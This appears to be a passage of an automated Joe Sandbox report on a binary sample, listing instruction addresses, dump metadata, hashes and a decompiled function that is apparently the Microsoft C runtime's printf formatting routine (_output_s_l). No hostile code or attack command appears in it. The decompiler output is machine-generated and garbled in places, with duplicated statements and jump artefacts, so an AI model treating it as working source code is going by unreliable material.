0x0043c067
0x0043c06a
0x0043c06a
0x00000000
0x00000000
0x0043c45d
0x0043c45d
0x00000000
0x00000000
0x0043bfc4
0x0043bfc4
0x0043bfd0
0x0043bfdd
0x0043bfeb
0x0043bfeb
0x0043bff1
0x0043bff4
0x0043c000
0x0043c055
0x00000000
0x0043c055
0x0043bfdf
0x0043bfdf
0x0043bfe9
0x0043c005
0x0043c008
0x0043c00e
0x0043c036
0x0043c03d
0x0043c043
0x0043c046
0x0043c049
0x0043c04f
0x0043c052
0x0043c010
0x0043c010
0x0043c016
0x0043c019
0x0043c01c
0x0043c022
0x0043c025
0x0043c028
0x0043c02a
0x0043c02d
0x0043c02d
0x00000000
0x0043c00e
0x00000000
0x00000000
0x0043c2a9
0x0043c2ac
0x0043c2af
0x0043c2b2
0x0043c2b8
0x0043c2bb
0x0043c2c6
0x0043c2d1
0x0043c2d5
0x0043c2ec
0x0043c2f3
0x0043c2f5
0x0043c2f5
0x0043c2fc
0x0043c303
0x0043c311
0x0043c314
0x0043c323
0x0043c32a
0x0043c33f
0x0043c32c
0x0043c32c
0x0043c32f
0x0043c335
0x0043c33a
0x0043c33a
0x0043c32a
0x0043c349
0x0043c34c
0x0043c34f
0x0043c352
0x0043c355
0x0043c358
0x0043c35e
0x0043c364
0x0043c36c
0x0043c36d
0x0043c370
0x0043c371
0x0043c374
0x0043c375
0x0043c37c
0x0043c37d
0x0043c380
0x0043c381
0x0043c384
0x0043c385
0x0043c38b
0x0043c38c
0x0043c39b
0x0043c39d
0x0043c3a3
0x0043c3a8
0x0043c3b0
0x0043c3b8
0x0043c3b9
0x0043c3bc
0x0043c3bd
0x0043c3cc
0x0043c3ce
0x0043c3ce
0x0043c3d1
0x0043c3db
0x0043c3e0
0x0043c3e6
0x0043c3e8
0x0043c3f0
0x0043c3f1
0x0043c3f4
0x0043c3f5
0x0043c403
0x0043c405
0x0043c405
0x0043c3e6
0x0043c408
0x0043c40b
0x0043c411
0x0043c416
0x0043c41b
0x0043c421
0x0043c424
0x0043c424
0x0043c427
0x0043c433
0x00000000
0x0043c433
0x0043c2d7
0x0043c2d7
0x0043c2e1
0x00000000
0x00000000
0x0043c2e3
0x0043c2e3
0x00000000
0x0043c2e3
0x0043c2c8
0x0043c2c8
0x00000000
0x00000000
0x0043bf28
0x0043bf28
0x0043bf33
0x0043bf3b
0x0043bf42
0x0043bf45
0x0043bf48
0x0043bfa8
0x0043bf4a
0x0043bf51
0x0043bf57
0x0043bf5d
0x0043bf64
0x0043bf67
0x0043bf6d
0x0043bf75
0x0043bf77
0x0043bf7e
0x0043bf85
0x0043bf96
0x0043bf98
0x0043bf98
0x0043bf9f
0x0043bfaf
0x0043bfb5
0x0043bfb8
0x00000000
0x00000000
0x0043c43b
0x0043c43e
0x0043c441
0x0043c444
0x00000000
0x00000000
0x0043c19a
0x0043c19a
0x0043c1a6
0x0043c1b3
0x0043c25d
0x0043c25d
0x0043c260
0x0043c263
0x0043c277
0x0043c27d
0x0043c283
0x0043c265
0x0043c265
0x0043c26b
0x0043c272
0x0043c272
0x0043c285
0x00000000
0x0043c285
0x0043c1b9
0x0043c1b9
0x0043c1bb
0x0043c1c9
0x0043c1bd
0x0043c1bd
0x0043c1bd
0x0043c1d3
0x0043c1d9
0x0043c1e6
0x0043c1e8
0x0043c1ed
0x0043c1ef
0x0043c1f4
0x0043c1f9
0x0043c1fb
0x0043c200
0x0043c206
0x0043c208
0x0043c208
0x0043c206
0x0043c210
0x0043c258
0x00000000
0x0043c212
0x0043c212
0x0043c217
0x0043c233
0x0043c23b
0x0043c245
0x0043c248
0x0043c24d
0x00000000
0x0043c24d
0x00000000
0x0043c4a4
0x0043c4a4
0x0043c4ae
0x0043c4b4
0x0043c4b9
0x0043c4bf
0x0043c4bf
0x00000000
0x00000000
0x0043c456
0x0043c456
0x00000000
0x00000000
0x0043c06d
0x0043c071
0x0043c07f
0x0043c082
0x0043c073
0x0043c073
0x0043c073
0x0043c088
0x0043c08e
0x0043c094
0x0043c0a0
0x0043c0a6
0x0043c0a9
0x0043c131
0x0043c135
0x0043c137
0x0043c13d
0x0043c13d
0x0043c140
0x0043c147
0x0043c14a
0x0043c150
0x0043c150
0x0043c150
0x0043c156
0x0043c15c
0x0043c15f
0x0043c167
0x00000000
0x00000000
0x0043c169
0x0043c169
0x0043c16f
0x0043c174
0x00000000
0x00000000
0x0043c176
0x0043c17c
0x0043c17f
0x0043c17f
0x0043c187
0x0043c18d
0x0043c190
0x0043c192
0x00000000
0x0043c0af
0x0043c0af
0x0043c0b3
0x0043c0b5
0x0043c0ba
0x0043c0ba
0x0043c0bd
0x0043c0c0
0x0043c0c6
0x0043c0d8
0x0043c0d8
0x0043c0d8
0x0043c0e1
0x00000000
0x00000000
0x0043c0e3
0x0043c0e3
0x0043c0e9
0x0043c0ee
0x00000000
0x00000000
0x0043c0f0
0x0043c0f0
0x0043c0f9
0x0043c0ff
0x0043c10d
0x0043c115
0x0043c118
0x0043c118
0x0043c124
0x0043c127
0x0043c0d2
0x0043c0d5
0x0043c0d5
0x0043c12f
0x0043c195
0x00000000
0x0043c195
0x00000000
0x00000000
0x00000000
0x0043c469
0x0043c469
0x0043c473
0x0043c473
0x0043c47d
0x0043c483
0x0043c485
0x0043c48a
0x0043c494
0x0043c497
0x0043c49b
0x0043c49b
0x00000000
0x00000000
0x00000000
0x00000000
0x0043bf0d
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c750
0x0043c5a7
0x0043c59e
0x0043c4c2
0x0043c4c2
0x0043c4c2

APIs

_get_int64_arg.LIBCMTD ref: 0043C4D0
_get_int64_arg.LIBCMTD ref: 0043C4F8
__aullrem.LIBCMT ref: 0043C6A0
__aulldiv.LIBCMT ref: 0043C6C2

Strings

9, xrefs: 0043C6D3

Memory Dump Source

Source File: 00000000.00000002.276727395.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.276724699.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.276752430.0000000000440000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276760822.000000000055A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.276764145.0000000000560000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_JV4ILFxpDY.jbxd

Similarity

API ID: _get_int64_arg$__aulldiv__aullrem
String ID: 9
API String ID: 2124759748-2366072709
Opcode ID: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction ID: c20a83bb6874e98f2463f10537cbc1a34951400d0113c9683f36e880e987fc60
Opcode Fuzzy Hash: 5ae99c7e6c91eb87a82d43dd8e251c21e6227c974607261ca5a358c9ee9441eb
Instruction Fuzzy Hash: DE41F6B1E00129EFDB24CF58C981BAEB7B5BB89314F1061DAD148B7241D738AE81CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043503B, Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 95
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E0043503B(intOrPtr __ebx, signed int __edx, intOrPtr __edi, intOrPtr __esi) {
				signed int _t496;
				signed int _t518;
				void* _t523;
				signed int _t525;
				void* _t545;
				signed int _t563;
				signed int _t580;
				signed short _t581;
				signed int _t584;
				signed int _t587;
				signed int _t588;
				intOrPtr _t589;
				signed int _t609;
				signed int _t645;
				signed int _t647;
				signed int _t649;
				signed int _t656;
				signed int _t696;
				intOrPtr _t697;
				intOrPtr _t698;
				signed int _t699;
				void* _t701;
				void* _t702;
				signed int _t710;

				L0:
				while(1) {
					L0:
					_t698 = __esi;
					_t697 = __edi;
					_t645 = __edx;
					_t589 = __ebx;
					 *(_t699 - 8) = 0xa;
					L153:
					while(1) {
						L153:
						while(1) {
							L153:
							while(1) {
								L153:
								if(( *(_t699 - 0x10) & 0x00008000) == 0) {
									_t647 =  *(_t699 - 0x10) & 0x00001000;
									if(_t647 == 0) {
										if(( *(_t699 - 0x10) & 0x00000020) == 0) {
											_t649 =  *(_t699 - 0x10) & 0x00000040;
											if(_t649 == 0) {
												_t496 = E00428400(_t699 + 0x14);
												_t702 = _t701 + 4;
												 *(_t699 - 0x2b8) = _t496;
												 *(_t699 - 0x2b4) = 0;
											} else {
												_t580 = E00428400(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t580;
												 *(_t699 - 0x2b4) = _t649;
											}
										} else {
											_t696 =  *(_t699 - 0x10) & 0x00000040;
											if(_t696 == 0) {
												_t581 = E00428400(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t581 & 0x0000ffff;
												 *(_t699 - 0x2b4) = _t696;
											} else {
												_t584 = E00428400(_t699 + 0x14);
												_t702 = _t701 + 4;
												asm("cdq");
												 *(_t699 - 0x2b8) = _t584;
												 *(_t699 - 0x2b4) = _t696;
											}
										}
									} else {
										_t587 = E00428420(_t699 + 0x14);
										_t702 = _t701 + 4;
										 *(_t699 - 0x2b8) = _t587;
										 *(_t699 - 0x2b4) = _t647;
									}
								} else {
									_t588 = E00428420(_t699 + 0x14);
									_t702 = _t701 + 4;
									 *(_t699 - 0x2b8) = _t588;
									 *(_t699 - 0x2b4) = _t645;
								}
								if(( *(_t699 - 0x10) & 0x00000040) == 0) {
									L170:
									 *(_t699 - 0x2c0) =  *(_t699 - 0x2b8);
									 *(_t699 - 0x2bc) =  *(_t699 - 0x2b4);
									goto L171;
								} else {
									L166:
									_t710 =  *(_t699 - 0x2b4);
									if(_t710 > 0 || _t710 >= 0 &&  *(_t699 - 0x2b8) >= 0) {
										goto L170;
									} else {
										L169:
										asm("adc edx, 0x0");
										 *(_t699 - 0x2c0) =  ~( *(_t699 - 0x2b8));
										 *(_t699 - 0x2bc) =  ~( *(_t699 - 0x2b4));
										 *(_t699 - 0x10) =  *(_t699 - 0x10) | 0x00000100;
										L171:
										if(( *(_t699 - 0x10) & 0x00008000) == 0 && ( *(_t699 - 0x10) & 0x00001000) == 0) {
											 *(_t699 - 0x2bc) =  *(_t699 - 0x2bc) & 0x00000000;
										}
										if( *(_t699 - 0x30) >= 0) {
											 *(_t699 - 0x10) =  *(_t699 - 0x10) & 0xfffffff7;
											if( *(_t699 - 0x30) > 0x200) {
												 *(_t699 - 0x30) = 0x200;
											}
										} else {
											 *(_t699 - 0x30) = 1;
										}
										if(( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
											 *(_t699 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t699 - 4)) = _t699 - 0x49;
										while(1) {
											L181:
											_t655 =  *(_t699 - 0x30) - 1;
											 *(_t699 - 0x30) =  *(_t699 - 0x30) - 1;
											if( *(_t699 - 0x30) <= 0 && ( *(_t699 - 0x2c0) |  *(_t699 - 0x2bc)) == 0) {
												break;
											}
											L183:
											asm("cdq");
											_t656 =  *(_t699 - 0x2c0);
											 *((intOrPtr*)(_t699 - 0x2ac)) = E00430830(_t656,  *(_t699 - 0x2bc),  *(_t699 - 8), _t655) + 0x30;
											asm("cdq");
											 *(_t699 - 0x2c0) = E004308B0( *(_t699 - 0x2c0),  *(_t699 - 0x2bc),  *(_t699 - 8), _t656);
											 *(_t699 - 0x2bc) = _t656;
											if( *((intOrPtr*)(_t699 - 0x2ac)) > 0x39) {
												 *((intOrPtr*)(_t699 - 0x2ac)) =  *((intOrPtr*)(_t699 - 0x2ac)) +  *((intOrPtr*)(_t699 - 0x260));
											}
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) =  *((intOrPtr*)(_t699 - 0x2ac));
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
										}
										L186:
										 *((intOrPtr*)(_t699 - 0x24)) = _t699 - 0x49 -  *((intOrPtr*)(_t699 - 4));
										 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) + 1;
										if(( *(_t699 - 0x10) & 0x00000200) != 0 && ( *((intOrPtr*)(_t699 - 0x24)) == 0 ||  *((char*)( *((intOrPtr*)(_t699 - 4)))) != 0x30)) {
											 *((intOrPtr*)(_t699 - 4)) =  *((intOrPtr*)(_t699 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t699 - 4)))) = 0x30;
											 *((intOrPtr*)(_t699 - 0x24)) =  *((intOrPtr*)(_t699 - 0x24)) + 1;
										}
										L190:
										while(1) {
											L190:
											while(1) {
												L190:
												while(1) {
													L190:
													while(1) {
														L190:
														while(1) {
															L190:
															while(1) {
																L190:
																while(1) {
																	do {
																		L190:
																		if( *((intOrPtr*)(_t699 - 0x28)) != 0) {
																			L216:
																			if( *(_t699 - 0x20) != 0) {
																				L0041C5E0( *(_t699 - 0x20), 2);
																				_t702 = _t702 + 8;
																				 *(_t699 - 0x20) = 0;
																			}
																			while(1) {
																				L218:
																				 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																				_t663 =  *(_t699 - 0x251);
																				 *(_t699 + 0xc) =  *(_t699 + 0xc) + 1;
																				if( *(_t699 - 0x251) == 0 ||  *(_t699 - 0x24c) < 0) {
																					break;
																				} else {
																					if( *(_t699 - 0x251) < 0x20 ||  *(_t699 - 0x251) > 0x78) {
																						 *(_t699 - 0x310) = 0;
																					} else {
																						 *(_t699 - 0x310) =  *( *(_t699 - 0x251) +  &M00407E18) & 0xf;
																					}
																				}
																				L7:
																				 *(_t699 - 0x250) =  *(_t699 - 0x310);
																				_t525 =  *(_t699 - 0x250) * 9;
																				_t609 =  *(_t699 - 0x25c);
																				_t663 = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				 *(_t699 - 0x25c) = ( *(_t525 + _t609 + 0x407e38) & 0x000000ff) >> 4;
																				if( *(_t699 - 0x25c) != 8) {
																					L16:
																					 *(_t699 - 0x318) =  *(_t699 - 0x25c);
																					if( *(_t699 - 0x318) > 7) {
																						continue;
																					}
																					L17:
																					switch( *((intOrPtr*)( *(_t699 - 0x318) * 4 +  &M00435610))) {
																						case 0:
																							L18:
																							 *(_t699 - 0xc) = 0;
																							_t528 = E004312C0( *(_t699 - 0x251) & 0x000000ff, E0041AEF0(_t699 - 0x40));
																							_t705 = _t702 + 8;
																							if(_t528 == 0) {
																								L24:
																								E00435720( *(_t699 - 0x251) & 0x000000ff,  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t702 = _t705 + 0xc;
																								goto L218;
																							} else {
																								E00435720( *((intOrPtr*)(_t699 + 8)),  *(_t699 - 0x251) & 0x000000ff,  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																								_t705 = _t705 + 0xc;
																								_t614 =  *( *(_t699 + 0xc));
																								 *(_t699 - 0x251) =  *( *(_t699 + 0xc));
																								_t663 =  *(_t699 + 0xc) + 1;
																								 *(_t699 + 0xc) = _t663;
																								asm("sbb eax, eax");
																								 *(_t699 - 0x27c) =  ~( ~( *(_t699 - 0x251)));
																								if(_t663 == 0) {
																									_push(L"(ch != _T(\'\\0\'))");
																									_push(0);
																									_push(0x486);
																									_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																									_push(2);
																									_t540 = L0041E420();
																									_t705 = _t705 + 0x14;
																									if(_t540 == 1) {
																										asm("int3");
																									}
																								}
																								L22:
																								if( *(_t699 - 0x27c) != 0) {
																									goto L24;
																								} else {
																									 *((intOrPtr*)(L00422F10(_t614))) = 0x16;
																									E00422CA0(_t589, _t614, _t697, _t698, L"(ch != _T(\'\\0\'))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x486, 0);
																									 *(_t699 - 0x2f4) = 0xffffffff;
																									E0041AEC0(_t699 - 0x40);
																									_t518 =  *(_t699 - 0x2f4);
																									goto L229;
																								}
																							}
																						case 1:
																							L25:
																							 *(__ebp - 0x2c) = 0;
																							__edx =  *(__ebp - 0x2c);
																							 *(__ebp - 0x28) =  *(__ebp - 0x2c);
																							__eax =  *(__ebp - 0x28);
																							 *(__ebp - 0x18) =  *(__ebp - 0x28);
																							__ecx =  *(__ebp - 0x18);
																							 *(__ebp - 0x1c) = __ecx;
																							 *(__ebp - 0x10) = 0;
																							 *(__ebp - 0x30) = 0xffffffff;
																							 *(__ebp - 0xc) = 0;
																							goto L218;
																						case 2:
																							L26:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							 *(__ebp - 0x31c) =  *(__ebp - 0x31c) - 0x20;
																							if( *(__ebp - 0x31c) > 0x10) {
																								goto L33;
																							}
																							L27:
																							__ecx =  *(__ebp - 0x31c);
																							_t72 = __ecx + 0x435648; // 0x498d04
																							__edx =  *_t72 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t72 & 0x000000ff) * 4 +  &M00435630))) {
																								case 0:
																									goto L30;
																								case 1:
																									goto L31;
																								case 2:
																									goto L29;
																								case 3:
																									goto L28;
																								case 4:
																									goto L32;
																								case 5:
																									goto L33;
																							}
																						case 3:
																							L34:
																							__edx =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								__eax =  *(__ebp - 0x18);
																								__eax =  *(__ebp - 0x18) * 0xa;
																								__ecx =  *((char*)(__ebp - 0x251));
																								_t96 = __ecx - 0x30; // -48
																								__edx = __eax + _t96;
																								 *(__ebp - 0x18) = __eax + _t96;
																							} else {
																								__eax = __ebp + 0x14;
																								 *(__ebp - 0x18) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x18) < 0) {
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00000004;
																									 *(__ebp - 0x10) = __ecx;
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																									 *(__ebp - 0x18) =  ~( *(__ebp - 0x18));
																								}
																							}
																							goto L218;
																						case 4:
																							L40:
																							 *(__ebp - 0x30) = 0;
																							goto L218;
																						case 5:
																							L41:
																							__eax =  *((char*)(__ebp - 0x251));
																							if( *((char*)(__ebp - 0x251)) != 0x2a) {
																								 *(__ebp - 0x30) =  *(__ebp - 0x30) * 0xa;
																								_t107 =  *((char*)(__ebp - 0x251)) - 0x30; // -48
																								__ecx =  *(__ebp - 0x30) * 0xa + _t107;
																								 *(__ebp - 0x30) = __ecx;
																							} else {
																								__ecx = __ebp + 0x14;
																								 *(__ebp - 0x30) = E00428400(__ebp + 0x14);
																								if( *(__ebp - 0x30) < 0) {
																									 *(__ebp - 0x30) = 0xffffffff;
																								}
																							}
																							goto L218;
																						case 6:
																							L47:
																							__edx =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *((char*)(__ebp - 0x251));
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							 *(__ebp - 0x320) =  *(__ebp - 0x320) - 0x49;
																							if( *(__ebp - 0x320) > 0x2e) {
																								L70:
																								goto L218;
																							}
																							L48:
																							__ecx =  *(__ebp - 0x320);
																							_t115 = __ecx + 0x435670; // 0x4e7e9003
																							__edx =  *_t115 & 0x000000ff;
																							switch( *((intOrPtr*)(( *_t115 & 0x000000ff) * 4 +  &M0043565C))) {
																								case 0:
																									L53:
																									__edx =  *(__ebp + 0xc);
																									__eax =  *( *(__ebp + 0xc));
																									if( *( *(__ebp + 0xc)) != 0x36) {
																										L56:
																										__edx =  *(__ebp + 0xc);
																										__eax =  *( *(__ebp + 0xc));
																										if( *( *(__ebp + 0xc)) != 0x33) {
																											L59:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x64) {
																												L65:
																												L67:
																												goto L70;
																											}
																											L60:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x69) {
																												goto L65;
																											}
																											L61:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx == 0x6f) {
																												goto L65;
																											}
																											L62:
																											__edx =  *(__ebp + 0xc);
																											__eax =  *( *(__ebp + 0xc));
																											if( *( *(__ebp + 0xc)) == 0x75) {
																												goto L65;
																											}
																											L63:
																											__ecx =  *(__ebp + 0xc);
																											__edx =  *__ecx;
																											if( *__ecx == 0x78) {
																												goto L65;
																											}
																											L64:
																											__eax =  *(__ebp + 0xc);
																											__ecx =  *( *(__ebp + 0xc));
																											if(__ecx != 0x58) {
																												L66:
																												 *(__ebp - 0x25c) = 0;
																												goto L18;
																											}
																											goto L65;
																										}
																										L57:
																										__ecx =  *(__ebp + 0xc);
																										__edx =  *((char*)(__ecx + 1));
																										if( *((char*)(__ecx + 1)) != 0x32) {
																											goto L59;
																										}
																										L58:
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) & 0xffff7fff;
																										 *(__ebp - 0x10) = __ecx;
																										goto L67;
																									}
																									L54:
																									__ecx =  *(__ebp + 0xc);
																									__edx =  *((char*)(__ecx + 1));
																									if( *((char*)(__ecx + 1)) != 0x34) {
																										goto L56;
																									}
																									L55:
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									 *(__ebp + 0xc) =  *(__ebp + 0xc) + 2;
																									__ecx =  *(__ebp - 0x10);
																									__ecx =  *(__ebp - 0x10) | 0x00008000;
																									 *(__ebp - 0x10) = __ecx;
																									goto L67;
																								case 1:
																									L68:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000020;
																									goto L70;
																								case 2:
																									L49:
																									__eax =  *(__ebp + 0xc);
																									__ecx =  *( *(__ebp + 0xc));
																									if(__ecx != 0x6c) {
																										__ecx =  *(__ebp - 0x10);
																										__ecx =  *(__ebp - 0x10) | 0x00000010;
																										 *(__ebp - 0x10) = __ecx;
																									} else {
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp + 0xc) =  *(__ebp + 0xc) + 1;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																										 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00001000;
																									}
																									goto L70;
																								case 3:
																									L69:
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000800;
																									goto L70;
																								case 4:
																									goto L70;
																							}
																						case 7:
																							goto L71;
																						case 8:
																							L30:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																							goto L33;
																						case 9:
																							L31:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																							goto L33;
																						case 0xa:
																							L29:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000001;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xb:
																							L28:
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																							goto L33;
																						case 0xc:
																							L32:
																							__ecx =  *(__ebp - 0x10);
																							__ecx =  *(__ebp - 0x10) | 0x00000008;
																							 *(__ebp - 0x10) = __ecx;
																							goto L33;
																						case 0xd:
																							L33:
																							goto L218;
																					}
																				} else {
																					if(0 == 0) {
																						 *(_t699 - 0x314) = 0;
																					} else {
																						 *(_t699 - 0x314) = 1;
																					}
																					_t616 =  *(_t699 - 0x314);
																					 *(_t699 - 0x278) =  *(_t699 - 0x314);
																					if( *(_t699 - 0x278) == 0) {
																						_push(L"(\"Incorrect format specifier\", 0)");
																						_push(0);
																						_push(0x460);
																						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																						_push(2);
																						_t545 = L0041E420();
																						_t702 = _t702 + 0x14;
																						if(_t545 == 1) {
																							asm("int3");
																						}
																					}
																					L14:
																					if( *(_t699 - 0x278) != 0) {
																						goto L16;
																					} else {
																						 *((intOrPtr*)(L00422F10(_t616))) = 0x16;
																						E00422CA0(_t589, _t616, _t697, _t698, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																						 *(_t699 - 0x2f0) = 0xffffffff;
																						E0041AEC0(_t699 - 0x40);
																						_t518 =  *(_t699 - 0x2f0);
																						L229:
																						return E0042BD60(_t518, _t589,  *(_t699 - 0x48) ^ _t699, _t663, _t697, _t698);
																					}
																				}
																			}
																			L219:
																			if( *(_t699 - 0x25c) == 0 ||  *(_t699 - 0x25c) == 7) {
																				 *(_t699 - 0x334) = 1;
																			} else {
																				 *(_t699 - 0x334) = 0;
																			}
																			_t603 =  *(_t699 - 0x334);
																			 *(_t699 - 0x2e0) =  *(_t699 - 0x334);
																			if( *(_t699 - 0x2e0) == 0) {
																				_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
																				_push(0);
																				_push(0x8f5);
																				_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																				_push(2);
																				_t523 = L0041E420();
																				_t702 = _t702 + 0x14;
																				if(_t523 == 1) {
																					asm("int3");
																				}
																			}
																			if( *(_t699 - 0x2e0) != 0) {
																				 *(_t699 - 0x300) =  *(_t699 - 0x24c);
																				E0041AEC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x300);
																			} else {
																				 *((intOrPtr*)(L00422F10(_t603))) = 0x16;
																				E00422CA0(_t589, _t603, _t697, _t698, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
																				 *(_t699 - 0x2fc) = 0xffffffff;
																				E0041AEC0(_t699 - 0x40);
																				_t518 =  *(_t699 - 0x2fc);
																			}
																			goto L229;
																		}
																		L191:
																		if(( *(_t699 - 0x10) & 0x00000040) != 0) {
																			if(( *(_t699 - 0x10) & 0x00000100) == 0) {
																				if(( *(_t699 - 0x10) & 0x00000001) == 0) {
																					if(( *(_t699 - 0x10) & 0x00000002) != 0) {
																						 *((char*)(_t699 - 0x14)) = 0x20;
																						 *(_t699 - 0x1c) = 1;
																					}
																				} else {
																					 *((char*)(_t699 - 0x14)) = 0x2b;
																					 *(_t699 - 0x1c) = 1;
																				}
																			} else {
																				 *((char*)(_t699 - 0x14)) = 0x2d;
																				 *(_t699 - 0x1c) = 1;
																			}
																		}
																		 *((intOrPtr*)(_t699 - 0x2c4)) =  *((intOrPtr*)(_t699 - 0x18)) -  *((intOrPtr*)(_t699 - 0x24)) -  *(_t699 - 0x1c);
																		if(( *(_t699 - 0x10) & 0x0000000c) == 0) {
																			E004357C0(0x20,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		E00435800( *(_t699 - 0x1c), _t699 - 0x14,  *(_t699 - 0x1c),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																		_t702 = _t702 + 0x10;
																		if(( *(_t699 - 0x10) & 0x00000008) != 0 && ( *(_t699 - 0x10) & 0x00000004) == 0) {
																			E004357C0(0x30,  *((intOrPtr*)(_t699 - 0x2c4)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																		}
																		if( *(_t699 - 0xc) == 0 ||  *((intOrPtr*)(_t699 - 0x24)) <= 0) {
																			L212:
																			E00435800( *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 4)),  *((intOrPtr*)(_t699 - 0x24)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																			_t702 = _t702 + 0x10;
																			goto L213;
																		} else {
																			L205:
																			 *(_t699 - 0x2dc) = 0;
																			 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 4));
																			 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x24));
																			while(1) {
																				L206:
																				 *((intOrPtr*)(_t699 - 0x2cc)) =  *((intOrPtr*)(_t699 - 0x2cc)) - 1;
																				if( *((intOrPtr*)(_t699 - 0x2cc)) == 0) {
																					break;
																				}
																				L207:
																				 *(_t699 - 0x32e) =  *((intOrPtr*)( *((intOrPtr*)(_t699 - 0x2c8))));
																				_t563 = E004342D0(_t699 - 0x2d0, _t699 - 0x2d8, 6,  *(_t699 - 0x32e) & 0x0000ffff);
																				_t702 = _t702 + 0x10;
																				 *(_t699 - 0x2dc) = _t563;
																				 *((intOrPtr*)(_t699 - 0x2c8)) =  *((intOrPtr*)(_t699 - 0x2c8)) + 2;
																				if( *(_t699 - 0x2dc) != 0 ||  *((intOrPtr*)(_t699 - 0x2d0)) == 0) {
																					L209:
																					 *(_t699 - 0x24c) = 0xffffffff;
																					break;
																				} else {
																					L210:
																					E00435800( *((intOrPtr*)(_t699 + 8)), _t699 - 0x2d8,  *((intOrPtr*)(_t699 - 0x2d0)),  *((intOrPtr*)(_t699 + 8)), _t699 - 0x24c);
																					_t702 = _t702 + 0x10;
																					continue;
																				}
																			}
																			L211:
																			L213:
